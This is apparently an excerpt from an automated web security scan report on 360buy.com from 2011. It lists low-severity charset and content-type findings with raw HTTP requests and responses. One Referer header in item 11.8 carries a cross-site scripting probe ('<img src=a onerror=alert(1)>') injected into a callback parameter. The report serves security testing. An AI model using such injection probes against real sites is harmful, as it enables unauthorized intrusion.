11.4. http://price.360buy.com/PromotionFlag.aspx  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://price.360buy.com
Path:   /PromotionFlag.aspx

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /PromotionFlag.aspx?pid=402392,268743,268752,268751,185596,228672,228666,268726,268742,287473,268790,268800,268732,1000378884,1000378985,381469,378361,228673,493082,1000378959,1000380059,228668,268739,287548,334117,268713,169218,274522,381466,228664,169187,378368,268740,268771,228665,268758&jsoncallback=jsonp1313511496322&_=1313511498869 HTTP/1.1
Host: price.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:18:10 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=300
Last-Modified: Tue, 16 Aug 2011 16:18:06 GMT
Age: 1
Content-Length: 190
X-Cache: HIT from TJ-HY-WWW-99.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

jsonp1313511496322({"data":[{"Pid":402392,"PF":[1]},{"Pid":1000378884,"PF":[1]},{"Pid":1000378985,"PF":[1]},{"Pid":493082,"PF":[1]},{"Pid":1000378959,"PF":[1]},{"Pid":1000380059,"PF":[1]}]})

11.5. http://price.360buy.com/ows/GetIPLocation.aspx  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://price.360buy.com
Path:   /ows/GetIPLocation.aspx

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /ows/GetIPLocation.aspx?callback=jsonp1313511424504&_=1313511432021 HTTP/1.1
Host: price.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:17:05 GMT
Content-Type: text/html; charset=gb2312
Cache-Control: private
Content-Length: 31
X-Cache: MISS from TJ-HY-WWW-43.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

jsonp1313511424504({ip:"...."})

11.6. http://www.360buy.com/  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://www.360buy.com
Path:   /

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET / HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:15:44 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: max-age=120
Content-Location: http://www.360buy.com/index.htm
Last-Modified: Tue, 16 Aug 2011 16:14:24 GMT
X-Cache: HIT from BJ-B28-WWW-153.360buy.com
Age: 1
Content-Length: 185124
X-Cache: HIT from TJ-HY-WWW-99.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>
...[SNIP]...

11.7. http://www.360buy.com/JdService.aspx  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://www.360buy.com
Path:   /JdService.aspx

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /JdService.aspx?callback=GetJdwsmentsCallback&action=GetJdwsment&skuids=402392,268743,268752,268751,185596,228672,228666,268726,268742,287473,268790,268800,268732,1000378884,1000378985,381469,378361,228673,493082,1000378959,1000380059,228668,268739,287548,334117,268713,169218,274522,381466,228664,169187,378368,268740,268771,228665,268758&key=40B8138E2EDEA7DBD94BE8DCF5A5500B9DC7F08A HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:17:43 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=600
Last-Modified: Tue, 16 Aug 2011 16:17:23 GMT
Vary: Content-Type
Age: 1
Content-Length: 464
X-Cache: HIT from TJ-HY-WWW-90.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

GetJdwsmentsCallback({"html":[{"Wid":402392,"AdTitle":"\u76F4\u964D40\u5143\uFF01"},{"Wid":1000378884,"AdTitle":"\u5168\u573A\u6E05\u4ED3~\uFF01\uFF01\uFF01"},{"Wid":334117,"AdTitle":"\u767E\u8D27\u6E
...[SNIP]...

11.8. http://www.360buy.com/a  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://www.360buy.com
Path:   /a

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /a HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/JdService.aspx?callback=GetJdwsmentsCallback8fb2d%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecb0a7f8777b&action=GetJdwsment&skuids=402392,268743,268752,268751,185596,228672,228666,268726,268742,287473,268790,268800,268732,1000378884,1000378985,381469,378361,228673,493082,1000378959,1000380059,228668,268739,287548,334117,268713,169218,274522,381466,228664,169187,378368,268740,268771,228665,268758&key=40B8138E2EDEA7DBD94BE8DCF5A5500B9DC7F08A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; ipLocation=; uuid=8a8b50c4-d92a-4508-a825-b2a88eed9b82; sid=b585546d-10bf-4af7-b2ba-b06397812292; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.2.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:22:29 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: private
X-Cache: MISS from BJ-B28-WWW-156.360buy.com
X-Cache: MISS from TJ-HY-WWW-34.360buy.com
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>
...[SNIP]...

11.9. http://www.360buy.com/home.html  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://www.360buy.com
Path:   /home.html

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /home.html HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:17:41 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=60
Last-Modified: Tue, 16 Aug 2011 16:17:07 GMT
Vary: Content-Type
X-Cache: HIT from BJ-B28-WWW-164.360buy.com
Age: 1
Content-Length: 92919
X-Cache: HIT from TJ-HY-WWW-45.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>
...[SNIP]...

11.10. http://www.360buy.com/limitBuy.aspx  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://www.360buy.com
Path:   /limitBuy.aspx

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /limitBuy.aspx?callback=jsonp1313511424505&ids=535,536,537,538&_=1313511432022 HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:17:25 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=180
Last-Modified: Tue, 16 Aug 2011 16:17:25 GMT
Vary: Content-Type
X-Cache: MISS from TJ-HY-WWW-35.360buy.com
Connection: close

jsonp1313511424505({'data':[{'qid':'535','start':'2011-8-17 0:17:25','server':'2011-8-17 0:17:25','end':'2011-08-17 09:00:00','pros':[{'mc':'%u4E09%u661F%uFF08%u0053%u0041%u004D%u0053%u0055%u004E%u004
...[SNIP]...

11.11. http://www.360buy.com/lishi.aspx  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://www.360buy.com
Path:   /lishi.aspx

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /lishi.aspx?callback=category.getBrandService&id=a,915,925^b,916,926^c,917,927^d,918,928^e,919,929^f,920,930^g,921,931^h,922,932^i,923,933^j,924,934^k,2096,2097^l,3512,3513 HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:02:30 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=3600
Last-Modified: Tue, 16 Aug 2011 16:02:19 GMT
Vary: Content-Type
Age: 1
Content-Length: 14672
X-Cache: HIT from TJ-HY-WWW-32.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

category.getBrandService({'data':[{id:'a',b:[{u:'http://market.360buy.com/zhuanmai/joyoung/index.aspx',n:'..........'},{u:'http://market.360buy.com/zhuanmai/tcl/index.aspx',n:'TCL'},{u:'http://market.
...[SNIP]...

11.12. http://www.360buy.com/products/1620-1621-1629.html  previous  next

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://www.360buy.com
Path:   /products/1620-1621-1629.html

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Request

GET /products/1620-1621-1629.html HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:11:00 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=1800
Last-Modified: Tue, 16 Aug 2011 16:11:00 GMT
Vary: Content-Type
X-Cache: EXPIRED from BJ-B28-WWW-153.360buy.com
Age: 1
Content-Length: 95316
X-Cache: HIT from TJ-HY-WWW-93.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />

<title>
...[SNIP]...

12. Content type incorrectly stated  previous
There are 13 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


12.1. http://360buy.a.miaozhen.com/a.gif  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://360buy.a.miaozhen.com
Path:   /a.gif

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /a.gif?l=10536^7890 HTTP/1.1
Host: 360buy.a.miaozhen.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1133
Date: Tue, 16 Aug 2011 16:17:05 GMT
Server: Apache4MiaoZhen 2.2.4

(function() {if (!('gi_ga' in window)) {var s = document.createElement('script');s.type = 'text/javascript';s.src = 'http://misc.360buyimg.com/201007/js/g.base.js';document.getElementsByTagName('head'
...[SNIP]...

12.2. http://g.miaozhen.com/x.gif  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://g.miaozhen.com
Path:   /x.gif

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /x.gif?0.152707828674465^b=111_2^c=http://www.360buy.com/^d=^f=10^h=1920*1200^j=en^p=0s0a^k=389^a============ HTTP/1.1
Host: g.miaozhen.com
Proxy-Connection: keep-alive
Referer: http://js.miaozhen.com/a.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: a=eksbJ+X+---I; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Set-Cookie: tsa=1108170016591000824814697; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Set-Cookie: c=978B8B8FC5D0D0888888D1CCC9CF9D8A86D19C9092D0; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Content-Type: text/html
Content-Length: 111
Date: Tue, 16 Aug 2011 16:17:00 GMT
Server: Apache4MiaoZhen 2.2.4

a=eksbJ%2bX%2b---I&tsa=1108170016591000824814697&c=978B8B8FC5D0D0888888D1CCC9CF9D8A86D19C9092D0&ct=201108170017

12.3. http://misc.360buyimg.com/201007/js/g.base.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://misc.360buyimg.com
Path:   /201007/js/g.base.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /201007/js/g.base.js?t=20110613 HTTP/1.1
Host: misc.360buyimg.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Server: jdws
Date: Tue, 16 Aug 2011 16:13:23 GMT
Last-Modified: Tue, 26 Jul 2011 10:01:26 GMT
Expires: Thu, 15 Sep 2011 16:13:23 GMT
Cache-Control: max-age=2592000
Age: 1
Content-Length: 19693
X-Cache: HIT from TJ-TG-WWW-45.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

(function($){$.extend($.browser,{client:function(){return{width:document.documentElement.clientWidth,height:document.documentElement.clientHeight,bodyWidth:document.body.clientWidth,bodyHeight:documen
...[SNIP]...

12.4. http://misc.360buyimg.com/201007/js/p.plist20110721.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://misc.360buyimg.com
Path:   /201007/js/p.plist20110721.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /201007/js/p.plist20110721.js?t=20110811 HTTP/1.1
Host: misc.360buyimg.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Server: jdws
Date: Tue, 16 Aug 2011 16:17:41 GMT
Last-Modified: Thu, 11 Aug 2011 11:15:30 GMT
Expires: Thu, 15 Sep 2011 16:17:41 GMT
Cache-Control: max-age=2592000
Age: 1
Content-Length: 1528
X-Cache: HIT from TJ-TG-WWW-50.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

compare();
(function(){
   if (!jdwsment){
       return;
   }
   var url="http://price.360buy.com/PromotionFlag.aspx?pid="+jdwsment.skuids+"&jsoncallback=?";
   $.getJSON(url,function (json){
       if (!json){
...[SNIP]...

12.5. http://passport.360buy.com/new/hello.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://passport.360buy.com
Path:   /new/hello.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain unrecognised content.

Request

GET /new/hello.aspx?para=loginfo HTTP/1.1
Host: passport.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 237
Content-Type: text/html; charset=gb2312
Server: Microsoft-IIS/6.0
X-AspNet-Version: 2.0.50727
Date: Tue, 16 Aug 2011 16:17:26 GMT
Connection: close

(function(){var id=document.getElementById('loginfo');if(id){id.innerHTML='........................<span><a href="javascript:login();">[......]</a>..........<a href="javascript:regist();" class="link-
...[SNIP]...

12.6. http://price.360buy.com/PromotionFlag.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://price.360buy.com
Path:   /PromotionFlag.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /PromotionFlag.aspx?pid=402392,268743,268752,268751,185596,228672,228666,268726,268742,287473,268790,268800,268732,1000378884,1000378985,381469,378361,228673,493082,1000378959,1000380059,228668,268739,287548,334117,268713,169218,274522,381466,228664,169187,378368,268740,268771,228665,268758&jsoncallback=jsonp1313511496322&_=1313511498869 HTTP/1.1
Host: price.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:18:10 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=300
Last-Modified: Tue, 16 Aug 2011 16:18:06 GMT
Age: 1
Content-Length: 190
X-Cache: HIT from TJ-HY-WWW-99.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

jsonp1313511496322({"data":[{"Pid":402392,"PF":[1]},{"Pid":1000378884,"PF":[1]},{"Pid":1000378985,"PF":[1]},{"Pid":493082,"PF":[1]},{"Pid":1000378959,"PF":[1]},{"Pid":1000380059,"PF":[1]}]})

12.7. http://price.360buy.com/ows/GetIPLocation.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://price.360buy.com
Path:   /ows/GetIPLocation.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /ows/GetIPLocation.aspx?callback=jsonp1313511424504&_=1313511432021 HTTP/1.1
Host: price.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:17:05 GMT
Content-Type: text/html; charset=gb2312
Cache-Control: private
Content-Length: 31
X-Cache: MISS from TJ-HY-WWW-43.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

jsonp1313511424504({ip:"...."})

12.8. http://simigoods.360buy.com/js/BiForWeb.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://simigoods.360buy.com
Path:   /js/BiForWeb.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /js/BiForWeb.js HTTP/1.1
Host: simigoods.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Content-Length: 39729
Content-Type: application/x-javascript
Last-Modified: Tue, 09 Aug 2011 11:39:50 GMT
Accept-Ranges: bytes
Server: jdws
Date: Tue, 16 Aug 2011 16:17:08 GMT
Age: 1
X-Cache: HIT from TJ-HY-WWW-94.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

function GetWarePriceimg(sku) {
return "<img onerror=\"this.src='http://www.360buy.com/images/no1.gif'\" src=\"http://price.360buyimg.com/gp" + sku + ",1.png\" />";
}
function getPuoductlink(s
...[SNIP]...

12.9. http://wl.360buy.com/wl.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://wl.360buy.com
Path:   /wl.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /wl.js HTTP/1.1
Host: wl.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.1 200 OK
Content-Length: 8090
Content-Type: application/x-javascript
Last-Modified: Tue, 16 Aug 2011 12:22:08 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Tue, 16 Aug 2011 16:18:21 GMT

//list_id
clstag_list = "";
//call uri
var loguri = "http://csc.360buy.com/log.ashx?type1=$type1$&type2=$type2$&data=$data$&pin=$pin$&referrer=$referrer$&callback=?";
//callback function
callback
...[SNIP]...

12.10. http://www.360buy.com/JdService.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.360buy.com
Path:   /JdService.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

GET /JdService.aspx?callback=GetJdwsmentsCallback&action=GetJdwsment&skuids=402392,268743,268752,268751,185596,228672,228666,268726,268742,287473,268790,268800,268732,1000378884,1000378985,381469,378361,228673,493082,1000378959,1000380059,228668,268739,287548,334117,268713,169218,274522,381466,228664,169187,378368,268740,268771,228665,268758&key=40B8138E2EDEA7DBD94BE8DCF5A5500B9DC7F08A HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
